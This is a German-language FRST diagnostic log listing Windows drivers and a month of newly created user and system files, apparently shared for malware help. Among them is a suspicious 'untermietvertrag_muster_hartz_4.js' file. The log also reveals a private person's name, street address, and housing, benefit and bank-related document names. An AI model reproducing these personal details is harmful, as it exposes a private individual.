C:\Windows\System32\drivers\wd\WdBoot.sys [48536 2020-12-04] (Microsoft Windows Early Launch Anti-Malware Publisher -> Microsoft Corporation) R0 WdFilter; C:\Windows\System32\drivers\wd\WdFilter.sys [429296 2020-12-04] (Microsoft Windows -> Microsoft Corporation) R3 WdNisDrv; C:\Windows\System32\drivers\wd\WdNisDrv.sys [70896 2020-12-04] (Microsoft Windows -> Microsoft Corporation) ==================== NetSvcs (Nicht auf der Ausnahmeliste) =================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) ==================== Ein Monat (erstellte) (Nicht auf der Ausnahmeliste) ========= (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.) 2021-02-09 20:56 - 2021-02-09 20:57 - 000026170 _____ C:\Users\jessi\Downloads\FRST.txt 2021-02-09 20:56 - 2021-02-09 20:57 - 000026170 _____ C:\Users\jessi\Downloads\FRST.txt 2021-02-09 18:22 - 2021-02-09 18:23 - 000034591 _____ C:\Users\jessi\Desktop\Addition.txt 2021-02-09 18:22 - 2021-02-09 18:23 - 000034591 _____ C:\Users\jessi\Desktop\Addition.txt 2021-02-09 18:16 - 2021-02-09 20:57 - 000000000 ____D C:\FRST 2021-02-09 18:15 - 2021-02-09 18:16 - 002297344 _____ (Farbar) C:\Users\jessi\Downloads\FRST64.exe 2021-02-09 18:15 - 2021-02-09 18:16 - 002297344 _____ (Farbar) C:\Users\jessi\Downloads\FRST64.exe 2021-02-09 18:07 - 2021-02-09 18:23 - 000052608 _____ C:\Users\jessi\Desktop\FRST.txt 2021-02-09 18:07 - 2021-02-09 18:23 - 000052608 _____ C:\Users\jessi\Desktop\FRST.txt 2021-02-09 17:57 - 2021-02-09 17:58 - 000446988 _____ C:\Users\jessi\Downloads\Bestätigung Mietübernahme.pdf 2021-02-09 17:57 - 2021-02-09 17:58 - 000446988 _____ C:\Users\jessi\Downloads\Bestätigung Mietübernahme.pdf 2021-02-08 16:02 - 2021-02-08 16:02 - 000006701 _____ C:\Users\jessi\Downloads\Kontostand 8.02.2021.pdf 2021-02-08 16:02 - 2021-02-08 16:02 - 000006701 _____ C:\Users\jessi\Downloads\Kontostand 8.02.2021.pdf 2021-02-08 15:08 - 2021-02-08 15:08 - 000040716 _____ C:\Users\jessi\Downloads\Verlängerung des Mietvertrags.pdf 2021-02-08 15:08 - 2021-02-08 15:08 - 000040716 _____ C:\Users\jessi\Downloads\Verlängerung des Mietvertrags.pdf 2021-02-08 12:34 - 2021-02-08 12:34 - 000000215 _____ C:\Users\jessi\AppData\Local\kritadisplayrc 2021-02-08 12:34 - 2021-02-08 12:34 - 000000215 _____ C:\Users\jessi\AppData\Local\kritadisplayrc 2021-02-08 00:21 - 2021-02-08 00:21 - 000057383 _____ C:\Users\jessi\Desktop\94e03f00-7ecf-46c4-a649-747c4b101b03.jfif 2021-02-08 00:21 - 2021-02-08 00:21 - 000057383 _____ C:\Users\jessi\Desktop\94e03f00-7ecf-46c4-a649-747c4b101b03.jfif 2021-02-07 03:54 - 2021-02-07 03:54 - 006853268 _____ C:\Users\jessi\Desktop\Oktopode1.kra 2021-02-07 03:54 - 2021-02-07 03:54 - 006853268 _____ C:\Users\jessi\Desktop\Oktopode1.kra 2021-02-07 03:53 - 2021-02-07 03:53 - 000527420 _____ C:\Users\jessi\Desktop\Telemark.kra 2021-02-07 03:53 - 2021-02-07 03:53 - 000527420 _____ C:\Users\jessi\Desktop\Telemark.kra 2021-02-07 01:29 - 2021-02-07 01:29 - 007129702 _____ C:\Users\jessi\Desktop\Oktopode.kra~ 2021-02-07 01:29 - 2021-02-07 01:29 - 007129702 _____ C:\Users\jessi\Desktop\Oktopode.kra~ 2021-02-07 01:20 - 2021-02-07 02:40 - 026326071 _____ C:\Users\jessi\Desktop\Oktopode.kra 2021-02-07 01:20 - 2021-02-07 02:40 - 026326071 _____ C:\Users\jessi\Desktop\Oktopode.kra 2021-02-06 13:15 - 2021-02-06 13:15 - 005450289 _____ C:\Users\jessi\Downloads\IMG_5890.MOV 2021-02-06 13:15 - 2021-02-06 13:15 - 005450289 _____ C:\Users\jessi\Downloads\IMG_5890.MOV 2021-02-04 11:22 - 2021-02-04 11:22 - 000497733 _____ C:\Users\jessi\Downloads\Scan 3. Feb. 2021.pdf 2021-02-04 11:22 - 2021-02-04 11:22 - 000497733 _____ C:\Users\jessi\Downloads\Scan 3. Feb. 2021.pdf 2021-02-03 17:54 - 2021-02-03 17:54 - 000000000 ____D C:\Users\jessi\AppData\Roaming\R 2021-02-03 17:54 - 2021-02-03 17:54 - 000000000 ____D C:\Users\jessi\AppData\Roaming\R 2021-02-02 14:02 - 2021-02-02 14:03 - 000253976 _____ (Cisco Webex LLC) C:\Users\jessi\Downloads\webex (1).exe 2021-02-02 14:02 - 2021-02-02 14:03 - 000253976 _____ (Cisco Webex LLC) C:\Users\jessi\Downloads\webex (1).exe 2021-02-01 10:27 - 2021-02-01 10:27 - 000020012 _____ C:\Users\jessi\Downloads\Beurteilungen_Projektwoche_NAME.xlsx 2021-02-01 10:27 - 2021-02-01 10:27 - 000020012 _____ C:\Users\jessi\Downloads\Beurteilungen_Projektwoche_NAME.xlsx 2021-02-01 10:17 - 2021-02-01 10:17 - 000019748 _____ C:\Users\jessi\Downloads\Beurteilungen_Bildbeschreibung_NAME.xlsx 2021-02-01 10:17 - 2021-02-01 10:17 - 000019748 _____ C:\Users\jessi\Downloads\Beurteilungen_Bildbeschreibung_NAME.xlsx 2021-01-30 12:53 - 2021-01-30 12:54 - 001292064 _____ C:\Users\jessi\Downloads\Mietangebot (2).pdf 2021-01-30 12:53 - 2021-01-30 12:54 - 001292064 _____ C:\Users\jessi\Downloads\Mietangebot (2).pdf 2021-01-30 12:53 - 2021-01-30 12:53 - 001292064 _____ C:\Users\jessi\Documents\Mietangebot.pdf 2021-01-30 12:53 - 2021-01-30 12:53 - 001292064 _____ C:\Users\jessi\Documents\Mietangebot.pdf 2021-01-30 12:47 - 2021-01-30 12:47 - 000040716 _____ C:\Users\jessi\Documents\Verlängerung des Mietvertrags.pdf 2021-01-30 12:47 - 2021-01-30 12:47 - 000040716 _____ C:\Users\jessi\Documents\Verlängerung des Mietvertrags.pdf 2021-01-29 13:07 - 2021-01-29 13:07 - 000497735 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Projektwoche.pptx 2021-01-29 13:07 - 2021-01-29 13:07 - 000497735 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Projektwoche.pptx 2021-01-29 12:24 - 2021-01-29 12:24 - 000572647 _____ C:\Users\jessi\Downloads\Mietangebot (1).pdf 2021-01-29 12:24 - 2021-01-29 12:24 - 000572647 _____ C:\Users\jessi\Downloads\Mietangebot (1).pdf 2021-01-29 12:22 - 2021-01-29 12:23 - 000572647 _____ C:\Users\jessi\Downloads\Mietangebot.pdf 2021-01-29 12:22 - 2021-01-29 12:23 - 000572647 _____ C:\Users\jessi\Downloads\Mietangebot.pdf 2021-01-29 11:44 - 2021-01-29 11:44 - 000012972 _____ C:\Users\jessi\Desktop\Mietangebot.pdf 2021-01-29 11:44 - 2021-01-29 11:44 - 000012972 _____ C:\Users\jessi\Desktop\Mietangebot.pdf 2021-01-27 19:04 - 2021-01-27 19:04 - 012690720 _____ C:\Users\jessi\Downloads\Lösungen Aufgabenblätter-20210127.zip 2021-01-27 19:04 - 2021-01-27 19:04 - 012690720 _____ C:\Users\jessi\Downloads\Lösungen Aufgabenblätter-20210127.zip 2021-01-27 16:37 - 2021-01-27 16:37 - 000061859 _____ C:\Users\jessi\Downloads\Briefmarken.1Stk.27.01.2021_1634.pdf 2021-01-27 16:37 - 2021-01-27 16:37 - 000061859 _____ C:\Users\jessi\Downloads\Briefmarken.1Stk.27.01.2021_1634.pdf 2021-01-27 16:10 - 2021-01-27 16:10 - 000156002 _____ C:\Users\jessi\Documents\Größe der Mietwohnung.pdf 2021-01-27 16:10 - 2021-01-27 16:10 - 000156002 _____ C:\Users\jessi\Documents\Größe der Mietwohnung.pdf 2021-01-27 15:40 - 2021-01-27 15:40 - 002094472 _____ C:\Users\jessi\Documents\Kaution.pdf 2021-01-27 15:40 - 2021-01-27 15:40 - 002094472 _____ C:\Users\jessi\Documents\Kaution.pdf 2021-01-27 15:39 - 2021-01-27 15:39 - 001538187 _____ C:\Users\jessi\Downloads\Mietvertrag_XXX.pdf 2021-01-27 15:39 - 2021-01-27 15:39 - 001538187 _____ C:\Users\jessi\Downloads\Mietvertrag_XXX.pdf 2021-01-27 15:37 - 2021-01-27 15:37 - 000037133 _____ C:\Users\jessi\Downloads\Antrag Erstausstattung.pdf 2021-01-27 15:37 - 2021-01-27 15:37 - 000037133 _____ C:\Users\jessi\Downloads\Antrag Erstausstattung.pdf 2021-01-27 15:33 - 2021-01-27 15:33 - 000037871 _____ C:\Users\jessi\Documents\Ende des Mietverhältnis.pdf 2021-01-27 15:33 - 2021-01-27 15:33 - 000037871 _____ C:\Users\jessi\Documents\Ende des Mietverhältnis.pdf 2021-01-27 15:29 - 2021-01-27 15:29 - 000944483 _____ C:\Users\jessi\Downloads\Antrag Umzug.pdf 2021-01-27 15:29 - 2021-01-27 15:29 - 000944483 _____ C:\Users\jessi\Downloads\Antrag Umzug.pdf 2021-01-27 14:56 - 2021-01-27 14:56 - 000037133 _____ C:\Users\jessi\Documents\Antrag Erstausstattung.pdf 2021-01-27 14:56 - 2021-01-27 14:56 - 000037133 _____ C:\Users\jessi\Documents\Antrag Erstausstattung.pdf 2021-01-27 14:38 - 2021-01-27 14:38 - 000033868 _____ C:\Users\jessi\Documents\Antrag auf Ersterstattung.pdf 2021-01-27 14:38 - 2021-01-27 14:38 - 000033868 _____ C:\Users\jessi\Documents\Antrag auf Ersterstattung.pdf 2021-01-27 14:23 - 2021-01-27 14:24 - 001538187 _____ C:\Users\jessi\Documents\Mietvertrag_xxx.pdf 2021-01-27 14:23 - 2021-01-27 14:24 - 001538187 _____ C:\Users\jessi\Documents\Mietvertrag_XXX.pdf 2021-01-27 14:13 - 2021-01-27 14:13 - 000200818 _____ C:\Users\jessi\Documents\Mietkosten_XXX.pdf 2021-01-27 14:13 - 2021-01-27 14:13 - 000200818 _____ C:\Users\jessi\Documents\Mietkosten_xxx.pdf 2021-01-27 11:56 - 2021-01-27 13:25 - 000347780 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Bildbeschreibung_B2#23.pptx 2021-01-27 11:56 - 2021-01-27 13:25 - 000347780 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Bildbeschreibung_B2#23.pptx 2021-01-27 10:18 - 2021-01-27 11:54 - 000347083 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Bildbeschreibung_B2#26.pptx 2021-01-27 10:18 - 2021-01-27 11:54 - 000347083 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Bildbeschreibung_B2#26.pptx 2021-01-26 20:09 - 2021-01-26 20:09 - 000001865 _____ C:\Users\jessi\Downloads\untermietvertrag_muster_hartz_4.zip 2021-01-26 20:09 - 2021-01-26 20:09 - 000001865 _____ C:\Users\jessi\Downloads\untermietvertrag_muster_hartz_4.zip 2021-01-26 20:06 - 2021-01-26 20:10 - 000002862 _____ C:\Users\jessi\Documents\untermietvertrag_muster_hartz_4.js 2021-01-26 20:06 - 2021-01-26 20:10 - 000002862 _____ C:\Users\jessi\Documents\untermietvertrag_muster_hartz_4.js 2021-01-25 15:58 - 2021-01-25 15:58 - 000681534 _____ C:\Users\jessi\Downloads\Checkliste behördliche Bestätigung.pdf 2021-01-25 15:58 - 2021-01-25 15:58 - 000681534 _____ C:\Users\jessi\Downloads\Checkliste behördliche Bestätigung.pdf 2021-01-25 12:48 - 2021-01-25 12:48 - 000083243 _____ C:\Users\jessi\Downloads\5310 (1).pdf 2021-01-25 12:48 - 2021-01-25 12:48 - 000083243 _____ C:\Users\jessi\Downloads\5310 (1).pdf 2021-01-25 05:36 - 2021-01-25 05:36 - 000038507 _____ C:\Users\jessi\Downloads\Schulung Beurteilung Bildbeschreibung SR (1).pptx 2021-01-25 05:36 - 2021-01-25 05:36 - 000038507 _____ C:\Users\jessi\Downloads\Schulung Beurteilung Bildbeschreibung SR (1).pptx 2021-01-25 05:07 - 2021-01-25 05:07 - 000341654 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Bildbeschreibung.pptx 2021-01-25 05:07 - 2021-01-25 05:07 - 000341654 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Bildbeschreibung.pptx 2021-01-25 05:03 - 2021-01-25 05:03 - 002775408 _____ C:\Users\jessi\Downloads\Psychologiestudierende_Beurteilerinnenschulung_Feedbackschulung (1).pptx 2021-01-25 05:03 - 2021-01-25 05:03 - 002775408 _____ C:\Users\jessi\Downloads\Psychologiestudierende_Beurteilerinnenschulung_Feedbackschulung (1).pptx 2021-01-25 02:14 - 2021-01-25 02:14 - 000064255 _____ C:\Users\jessi\Documents\Cards vs Humanity - Basisspiel 2 - Heidi Klums Hungersnot.pdf 2021-01-25 02:14 - 2021-01-25 02:14 - 000064255 _____ C:\Users\jessi\Documents\Cards vs Humanity - Basisspiel 2 - Heidi Klums Hungersnot.pdf 2021-01-25 02:05 - 2021-01-25 02:05 - 000066494 _____ C:\Users\jessi\Documents\gameneu.pdf 2021-01-25 02:05 - 2021-01-25 02:05 - 000066494 _____ C:\Users\jessi\Documents\gameneu.pdf 2021-01-25 00:35 - 2021-01-25 00:36 - 001802405 _____ C:\Users\jessi\Documents\game.pdf 2021-01-25 00:35 - 2021-01-25 00:36 - 001802405 _____ C:\Users\jessi\Documents\game.pdf 2021-01-25 00:07 - 2021-01-25 00:07 - 000064661 _____ C:\Users\jessi\Documents\Cards vs Humanity - Basisspiel 1 - Minions mit Genitalherpes.pdf 2021-01-25 00:07 - 2021-01-25 00:07 - 000064661 _____ C:\Users\jessi\Documents\Cards vs Humanity - Basisspiel 1 - Minions mit Genitalherpes.pdf 2021-01-22 14:47 - 2021-01-22 14:48 - 004482792 _____ C:\Users\jessi\Documents\Wohnung Reißhausstraße 11.pdf 2021-01-22 14:47 - 2021-01-22 14:48 - 004482792 _____ C:\Users\jessi\Documents\Wohnung Reißhausstraße 11.pdf 2021-01-22 14:43 - 2021-01-22 14:44 - 000184228 _____ C:\Users\jessi\Documents\Mieterselbstauskunft Reißhausstraße.pdf 2021-01-22 14:43 - 2021-01-22 14:44 - 000184228 _____ C:\Users\jessi\Documents\Mieterselbstauskunft Reißhausstraße.pdf 2021-01-21 11:08 - 2021-01-21 11:08 - 002775408 _____ C:\Users\jessi\Downloads\Psychologiestudierende_Beurteilerinnenschulung_Feedbackschulung.pptx 2021-01-21 11:08 - 2021-01-21 11:08 - 002775408 _____ C:\Users\jessi\Downloads\Psychologiestudierende_Beurteilerinnenschulung_Feedbackschulung.pptx 2021-01-21 09:49 - 2021-01-21 09:49 - 000485005 _____ C:\Users\jessi\Downloads\Bafög-Bescheid.pdf 2021-01-21 09:49 - 2021-01-21 09:49 - 000485005 _____ C:\Users\jessi\Downloads\Bafög-Bescheid.pdf 2021-01-21 09:39 - 2021-01-21 09:39 - 000783323 _____ C:\Users\jessi\Downloads\Immatrikulationsbescheinigung-2020WS (3).pdf 2021-01-21 09:39 - 2021-01-21 09:39 - 000783323 _____ C:\Users\jessi\Downloads\Immatrikulationsbescheinigung-2020WS (3).pdf 2021-01-20 01:00 - 2021-01-20 01:00 - 004956075 _____ C:\Users\jessi\Downloads\2020_Book_DieTückenDerWahrnehmung.pdf 2021-01-20 01:00 - 2021-01-20 01:00 - 004956075 _____ C:\Users\jessi\Downloads\2020_Book_DieTückenDerWahrnehmung.pdf 2021-01-20 00:46 - 2021-01-20 00:46 - 002590905 _____ C:\Users\jessi\Downloads\MatthiasWiersichDissertation (1).pdf 2021-01-20 00:46 - 2021-01-20 00:46 - 002590905 _____ C:\Users\jessi\Downloads\MatthiasWiersichDissertation (1).pdf 2021-01-19 20:27 - 2021-01-19 20:27 - 000025010 _____ C:\Users\jessi\Downloads\Vorstandsitzung.odt 2021-01-19 20:27 - 2021-01-19 20:27 - 000025010 _____ C:\Users\jessi\Downloads\Vorstandsitzung.odt 2021-01-19 19:47 - 2021-01-19 19:47 - 000433641 _____ C:\Users\jessi\Downloads\Jan 21 Protokoll Mitgliedervollversammlung_final (1).pdf 2021-01-19 19:47 - 2021-01-19 19:47 - 000433641 _____ C:\Users\jessi\Downloads\Jan 21 Protokoll Mitgliedervollversammlung_final (1).pdf 2021-01-19 19:35 - 2021-01-19 19:35 - 000199034 _____ C:\Users\jessi\Downloads\210118 Vorstand (1).pdf 2021-01-19 19:35 - 2021-01-19 19:35 - 000199034 _____ C:\Users\jessi\Downloads\210118 Vorstand (1).pdf 2021-01-19 19:29 - 2021-01-19 19:29 - 002274587 _____ C:\Users\jessi\Downloads\5b55c6471b8f2_111.026 FK Veranstaltungstechnik.pdf 2021-01-19 19:29 - 2021-01-19 19:29 - 002274587 _____ C:\Users\jessi\Downloads\5b55c6471b8f2_111.026 FK Veranstaltungstechnik.pdf 2021-01-19 19:26 - 2021-01-19 19:26 - 000199034 _____ C:\Users\jessi\Downloads\210118 Vorstand.pdf 2021-01-19 19:26 - 2021-01-19 19:26 - 000199034 _____ C:\Users\jessi\Downloads\210118 Vorstand.pdf 2021-01-19 19:25 - 2021-01-19 19:26 - 000433641 _____ C:\Users\jessi\Downloads\Jan 21 Protokoll Mitgliedervollversammlung_final.pdf 2021-01-19 19:25 - 2021-01-19 19:26 - 000433641 _____ C:\Users\jessi\Downloads\Jan 21 Protokoll Mitgliedervollversammlung_final.pdf 2021-01-19 19:25 - 2021-01-19 19:25 - 000000000 ____D C:\Users\jessi\Documents\Zoom 2021-01-19 19:25 - 2021-01-19 19:25 - 000000000 ____D C:\Users\jessi\Documents\Zoom 2021-01-19 18:26 - 2021-01-19 18:26 - 002877426 _____ C:\Users\jessi\Documents\RoleofEffectEmotion.pdf 2021-01-19 18:26 - 2021-01-19 18:26 - 002877426 _____ C:\Users\jessi\Documents\RoleofEffectEmotion.pdf 2021-01-18 21:21 - 2021-01-18 21:21 - 000229155 _____ C:\Users\jessi\Downloads\Tätigkeitsbericht-Klanggerüst2019.pdf 2021-01-18 21:21 - 2021-01-18 21:21 - 000229155 _____ C:\Users\jessi\Downloads\Tätigkeitsbericht-Klanggerüst2019.pdf 2021-01-18 21:21 - 2021-01-18 21:21 - 000229155 _____ C:\Users\jessi\Downloads\Tätigkeitsbericht-Klanggerüst2019 (1).pdf 2021-01-18 21:21 - 2021-01-18 21:21 - 000229155 _____ C:\Users\jessi\Downloads\Tätigkeitsbericht-Klanggerüst2019 (1).pdf 2021-01-18 10:06 - 2021-01-18 10:06 - 000783325 _____ C:\Users\jessi\Downloads\Immatrikulationsbescheinigung-2020WS (2).pdf 2021-01-18 10:06 - 2021-01-18 10:06 - 000783325 _____ C:\Users\jessi\Downloads\Immatrikulationsbescheinigung-2020WS (2).pdf 2021-01-17 02:59 - 2021-01-17 02:59 - 000090156 _____ C:\Users\jessi\Downloads\108-beat--1610848767503.wav 2021-01-17 02:59 - 2021-01-17 02:59 - 000090156 _____ C:\Users\jessi\Downloads\108-beat--1610848767503.wav 2021-01-16 22:22 - 2021-01-16 22:22 - 000043049 _____ C:\Users\jessi\Downloads\Free Chart.pdf 2021-01-16 22:22 - 2021-01-16 22:22 - 000043049 _____ C:\Users\jessi\Downloads\Free Chart.pdf 2021-01-16 01:15 - 2021-01-23 03:06 - 214486607 _____ C:\Users\jessi\Documents\JANUAR.pptx 2021-01-16 01:15 - 2021-01-23 03:06 - 214486607 _____ C:\Users\jessi\Documents\JANUAR.pptx 2021-01-15 17:22 - 2021-01-15 17:22 - 000037921 _____ C:\Users\jessi\Downloads\Schulung Beurteilung Bildbeschreibung SR.pptx 2021-01-15 17:22 - 2021-01-15 17:22 - 000037921 _____ C:\Users\jessi\Downloads\Schulung Beurteilung Bildbeschreibung SR.pptx 2021-01-15 17:21 - 2021-01-15 17:21 - 000021149 _____ C:\Users\jessi\Documents\Beurteilungen_Schulansprache_Jessica X.xlsx 2021-01-15 17:21 - 2021-01-15 17:21 - 000021149 _____ C:\Users\jessi\Documents\Beurteilungen_Schulansprache_Jessica X.xlsx 2021-01-15 17:11 - 2021-01-15 17:11 - 000021153 _____ C:\Users\jessi\Downloads\Beurteilungen_Schulansprache_Jessica X.xlsx 2021-01-15 17:11 - 2021-01-15 17:11 - 000021153 _____ C:\Users\jessi\Downloads\Beurteilungen_Schulansprache_Jessica X.xlsx 2021-01-15 17:02 - 2021-01-15 17:02 - 000019955 _____ C:\Users\jessi\Downloads\Beurteilungen_Schulansprache_NAME.xlsx 2021-01-15 17:02 - 2021-01-15 17:02 - 000019955 _____ C:\Users\jessi\Downloads\Beurteilungen_Schulansprache_NAME.xlsx 2021-01-15 17:01 - 2021-01-15 17:18 - 000020939 _____ C:\Users\jessi\Downloads\Beurteilungen_Quereinsteigerin_Jessica X.xlsx 2021-01-15 17:01 - 2021-01-15 17:18 - 000020939 _____ C:\Users\jessi\Downloads\Beurteilungen_Quereinsteigerin_Jessica X.xlsx 2021-01-15 17:00 - 2021-01-15 17:00 - 000626472 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#26.pptx 2021-01-15 17:00 - 2021-01-15 17:00 - 000626472 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#26.pptx 2021-01-15 16:59 - 2021-01-15 16:59 - 000633052 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#24.pptx 2021-01-15 16:59 - 2021-01-15 16:59 - 000633052 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#24.pptx 2021-01-15 16:59 - 2021-01-15 16:59 - 000627000 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#25.pptx 2021-01-15 16:59 - 2021-01-15 16:59 - 000627000 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#25.pptx 2021-01-15 16:58 - 2021-01-15 16:58 - 000626777 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#22.pptx 2021-01-15 16:58 - 2021-01-15 16:58 - 000626777 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#22.pptx 2021-01-15 16:57 - 2021-01-15 16:57 - 000629370 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#21.pptx 2021-01-15 16:57 - 2021-01-15 16:57 - 000629370 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#21.pptx 2021-01-15 16:56 - 2021-01-15 16:56 - 000629741 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#20.pptx 2021-01-15 16:56 - 2021-01-15 16:56 - 000629741 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#20.pptx 2021-01-15 16:54 - 2021-01-15 16:54 - 000626978 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#23 (3).pptx 2021-01-15 16:54 - 2021-01-15 16:54 - 000626978 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#23 (3).pptx 2021-01-15 16:53 - 2021-01-15 16:53 - 000626961 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#23 (2).pptx 2021-01-15 16:53 - 2021-01-15 16:53 - 000626961 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#23 (2).pptx 2021-01-15 16:52 - 2021-01-15 16:52 - 000019960 _____ C:\Users\jessi\Downloads\Beurteilungen_Quereinsteigerin_NAME.xlsx 2021-01-15 16:52 - 2021-01-15 16:52 - 000019960 _____ C:\Users\jessi\Downloads\Beurteilungen_Quereinsteigerin_NAME.xlsx 2021-01-15 00:01 - 2021-01-15 00:01 - 000576512 _____ (Microsoft Corporation) C:\Windows\SysWOW64\hhctrl.ocx 2021-01-15 00:01 - 2021-01-15 00:01 - 000568320 _____ (Microsoft Corporation) C:\Windows\system32\PhotoScreensaver.scr 2021-01-15 00:01 - 2021-01-15 00:01 - 000500224 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PhotoScreensaver.scr 2021-01-15 00:01 - 2021-01-15 00:01 - 000455680 _____ (Microsoft Corporation) C:\Windows\SysWOW64\appwiz.cpl 2021-01-15 00:01 - 2021-01-15 00:01 - 000294912 _____ (Microsoft Corporation) C:\Windows\system32\ksproxy.ax 2021-01-15 00:01 - 2021-01-15 00:01 - 000233472 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ksproxy.ax 2021-01-15 00:01 - 2021-01-15 00:01 - 000168448 _____ (Microsoft Corporation) C:\Windows\system32\VBICodec.ax 2021-01-15 00:01 - 2021-01-15 00:01 - 000135168 _____ (Microsoft Corporation) C:\Windows\SysWOW64\VBICodec.ax 2021-01-15 00:01 - 2021-01-15 00:01 - 000094720 _____ C:\Windows\system32\VirtualMonitorManager.dll 2021-01-15 00:01 - 2021-01-15 00:01 - 000083968 _____ (Microsoft Corporation) C:\Windows\system32\wscui.cpl 2021-01-15 00:01 - 2021-01-15 00:01 - 000072704 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx 2021-01-15 00:01 - 2021-01-15 00:01 - 000067584 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wscui.cpl 2021-01-15 00:01 - 2021-01-15 00:01 - 000053248 _____ C:\Windows\SysWOW64\BWContextHandler.dll 2021-01-15 00:00 - 2021-01-15 00:00 - 000696832 _____ (Microsoft Corporation) C:\Windows\system32\hhctrl.ocx 2021-01-15 00:00 - 2021-01-15 00:00 - 000555008 _____ (Microsoft Corporation) C:\Windows\system32\appwiz.cpl 2021-01-15 00:00 - 2021-01-15 00:00 - 000458240 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mmsys.cpl 2021-01-15 00:00 - 2021-01-15 00:00 - 000167424 _____ (Microsoft Corporation) C:\Windows\SysWOW64\intl.cpl 2021-01-15 00:00 - 2021-01-15 00:00 - 000086016 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx 2021-01-15 00:00 - 2021-01-15 00:00 - 000067072 _____ C:\Windows\system32\BWContextHandler.dll 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth9.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth8.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth7.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth6.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth5.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth4.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth3.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth2.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth18.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth17.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth16.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth15.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth12.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth11.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth10.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth1.bin 2021-01-14 23:59 - 2021-01-14 23:59 - 001101312 _____ C:\Windows\SysWOW64\TextInputMethodFormatter.dll 2021-01-14 23:59 - 2021-01-14 23:59 - 000415744 _____ (Microsoft Corporation) C:\Windows\SysWOW64\winspool.drv 2021-01-14 23:59 - 2021-01-14 23:59 - 000331264 _____ C:\Windows\SysWOW64\ssdm.dll 2021-01-14 23:59 - 2021-01-14 23:59 - 000208896 _____ (Microsoft Corporation) C:\Windows\system32\intl.cpl 2021-01-14 23:59 - 2021-01-14 23:59 - 000208384 _____ C:\Windows\SysWOW64\HeatCore.dll 2021-01-14 23:59 - 2021-01-14 23:59 - 000184320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\timedate.cpl 2021-01-14 23:58 - 2021-01-14 23:58 - 002590720 _____ C:\Windows\system32\dwmscene.dll 2021-01-14 23:58 - 2021-01-14 23:58 - 001841152 _____ C:\Windows\system32\TextInputMethodFormatter.dll 2021-01-14 23:58 - 2021-01-14 23:58 - 000549888 _____ (Microsoft Corporation) C:\Windows\system32\mmsys.cpl 2021-01-14 23:58 - 2021-01-14 23:58 - 000266752 _____ C:\Windows\system32\HeatCore.dll 2021-01-14 23:58 - 2021-01-14 23:58 - 000186368 _____ C:\Windows\system32\BthpanContextHandler.dll 2021-01-14 23:57 - 2021-01-14 23:57 - 000540672 _____ (Microsoft Corporation) C:\Windows\system32\winspool.drv 2021-01-14 23:57 - 2021-01-14 23:57 - 000453632 _____ C:\Windows\system32\ssdm.dll 2021-01-14 23:57 - 2021-01-14 23:57 - 000235520 _____ (Microsoft Corporation) C:\Windows\system32\timedate.cpl 